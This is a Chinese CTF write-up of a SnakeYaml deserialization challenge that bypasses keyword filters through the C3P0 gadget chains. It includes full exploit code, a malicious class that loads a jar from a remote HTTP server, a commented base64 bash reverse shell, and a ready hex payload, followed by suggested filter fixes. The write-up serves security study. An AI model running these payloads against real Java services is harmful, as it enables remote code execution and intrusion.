2023 华北分区赛 normal_snake

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国赛终于解出Java题了，顺利拿下一血，思路之前也学过。继续加油

normal_snake

题目解读

  @RequestMapping({"/read"})
  public String hello(@RequestParam(name = "data", required = false) String data, Model model) {
    try {
      if (data.contains("!!"))
        return "pls dont do that!!!"; 
      new SafeConstructorWithException(data);
      Yaml yaml = new Yaml();
      yaml.load(data);
      return "Well done";
    } catch (SafeStringException e) {
      return "Unsafe data detected!";
    } catch (CustomException e) {
      return "No way to pass!";
    } catch (Exception e) {
      return "snake snake snake!";
    } 
  }

hello 路由下存在 SnakeYaml 反序列化漏洞，禁用了 yaml 的常用头 !!。但是可以通过 tag 头进行绕过

!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true
    
!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

或者是

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

SafeConstructorWithException 中过滤了常见的 payload 关键字，HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource。这些都不重要

private void checkForExceptions() throws RuntimeException, RuntimeException {
    String upperCaseData = this.data.toUpperCase();
    if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
        if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
            throw new RuntimeException("No way to pass!");
        }
    } else {
        throw new RuntimeException("Unsafe data detected!");
    }
}

攻击 break

给了C3P0的依赖，所以肯定是用C3P0来打

C3P0 利用链

C3P0 主要有以下利用链：

触发点	功效	适用性
JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup	Jndi 注入	fastjson/snakeyaml/jackson
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject	Hex 解码后触发原生反序列化	fastjson/snakeyaml/jackson
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup	Jndi 注入	Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader	URLCLassLoader 远程类加载	Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance	不出网的命令注入	Java原生反序列化不出网

JndiRefForwardingDataSource：Jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
 -com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
   -com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
     -InitialContext#lookup()

SnakeYaml 可以触发该 setter 方法

String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";

WrapperConnectionPoolDataSource：Hex 二次反序列化

String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";

简单解释一下为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子：首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用

WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用

public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
    String oldVal = this.userOverridesAsString;
    if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
        vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
    this.userOverridesAsString = userOverridesAsString;
}

然后经过一系列调用栈

java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
    -java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
      -java.beans.VetoableChangeListener#vetoableChange()
        -C3P0ImplUtils#parseUserOverridesAsString()
          -com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
    		-com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)

C3P0ImplUtils#parseUserOverridesAsString方法：从形参处截取掉HASM_HEADER：HexAsciiSerializedMap字符串然后进行hex解码为字节数组

com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化。

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
    ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return in.readObject();
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject：jndi 注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -InitialContext#lookup()

com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入

具体怎么得到正确的序列化流下部分讲解

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject：远程类加载

利用链可参考ysoerial

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
  -IndirectlySerialized#getObject()
  -com.mchange.v2.naming.ReferenceIndirector#getObject()
    -com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
     -URLClassLoader

com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用。因此可以直接在静态块里面放入恶意数据进行RCE

PoolBackedDataSourceBase 反序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象，IndirectlySerialized 是一个接口，其的唯一子类是 ReferenceSerialized，但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类，该类不能进行初始化操作。所以我们现在要康康 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的

PoolBackedDataSourceBase 序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中，如果序列化的类是不可序列化的话(NotSerializableException)，将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{ 
    Reference ref = ((Referenceable) orig).getReference();
    return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference   reference,
                    Name        name,
                    Name        contextName,
                    Hashtable   env )
{
    this.reference = reference;
    this.name = name;
    this.contextName = contextName;
    this.env = env;
}

所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中，ConnectionPoolDataSource 接口有俩个子类，不过遗憾的是它们俩都可以被序列化

WrapperConnectionPoolDataSource
JndiRefConnectionPoolDataSource

那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类咯

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("Payload8","Payload8","http://172.1.39.101:5555/payload8.jar");
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

大功告成

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject：BeanFactory不出网

JAVA反序列化之C3P0不出网利用和 JNDI 高版本注入很像

解题思路

因为题目的入口点是 Yaml.load 然后又给了 C3P0 依赖，又过滤了 jndi 之类的关键字，所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。根据上面的 5 条 C3P0 利用链，选择 SnakeYaml 反序列化触发原生反序列化

WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject

然后再触发远程类加载或者jndi注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader

这俩种都可以，我最后选择了 URLClassLoader 远程加载类来触发

EXP

生成序列化内容：

public class Main2 {
    private static String string = "";
    private static byte[] data;
    public static void main(String[] args) throws Exception {
        //URLClassLoader
        C3P0DataSource c3P0DataSource = new C3P0DataSource();

        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Constructor declaredConstructor = clazz.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase)declaredConstructor.newInstance();
        setFieldValue("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase",poolBackedDataSourceBase,"connectionPoolDataSource",c3P0DataSource);

        serialize(poolBackedDataSourceBase);
        //unserialize();
        String hexAscii = ByteUtils.toHexAscii(data);
        System.out.println(hexAscii);
        String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
        System.out.println(poc);
        Yaml yaml = new Yaml();
        //yaml.load(poc);
    }
    public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
        Class clazz = Class.forName(className);
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        //string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        data = byteArrayOutputStream.toByteArray();
    }
    public static void unserialize() throws Exception {
        //ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
    public Reference getReference() throws NamingException {
        Reference reference = new Reference("Payload8","Payload8","http://127.0.0.1:5555/payload8.jar");
        //Reference reference = new Reference("Payloadxx","Payloadxx","");
        return reference;
    }

    @Override
    public PooledConnection getPooledConnection() throws SQLException {
        return null;
    }

    @Override
    public PooledConnection getPooledConnection(String user, String password) throws SQLException {
        return null;
    }

    @Override
    public PrintWriter getLogWriter() throws SQLException {
        return null;
    }

    @Override
    public void setLogWriter(PrintWriter out) throws SQLException {

    }

    @Override
    public void setLoginTimeout(int seconds) throws SQLException {

    }

    @Override
    public int getLoginTimeout() throws SQLException {
        return 0;
    }

    @Override
    public Logger getParentLogger() throws SQLFeatureNotSupportedException {
        return null;
    }
}

需要提前准备恶意类，并将其打包成 jar 包

public class Payload8 {
    private static final long serialVersionUID = 1593252632163539756L;
    static{
        String string = "calc";
        String[] commands = null;
        String command = "";
        if (System.getProperty("os.name").toLowerCase().contains("win")) {
            commands = new String[]{"cmd", "/c", string};
        } else {
            //command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMS4zOS4xMDUvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}";
        }
        try {
            Runtime.getRuntime().exec(commands);
            //Runtime.getRuntime().exec(command);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

打 jar 包命令：

jar -cvf payload8.jar .

然后再本地打开监听端口

python -m http.server 5555

最后的 Poc：

!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: "HexAsciiSerializedMap:ACED000573720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00024C000D6964656E74697479546F6B656E71007E00024C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E00084C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00024C0014636C617373466163746F72794C6F636174696F6E71007E00024C0009636C6173734E616D6571007E00027870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400085061796C6F616438740022687474703A2F2F3132372E302E302E313A353535352F7061796C6F6164382E6A617271007E001470737200256A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654D6170F1A5A8FE74F507420200014C00016D71007E00037870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707077040000000378;"}

url 全编码打一下

修复 Fix

俩处任意修复一处就行吧

Fix1：

      if (data.contains("!!") || data.contains("!<tag") || data.contains("tag"))
        return "pls dont do that!!!";

Fix2：

if (upperCaseData.contains("JAVA") || upperCaseData.contains("JNDI") || upperCaseData.contains("JDBC") || upperCaseData.contains("HEXASCIISERIALIZEDMAP") || upperCaseData.contains("ACED"))
    throw new SafeStringException("Unsafe data detected!");

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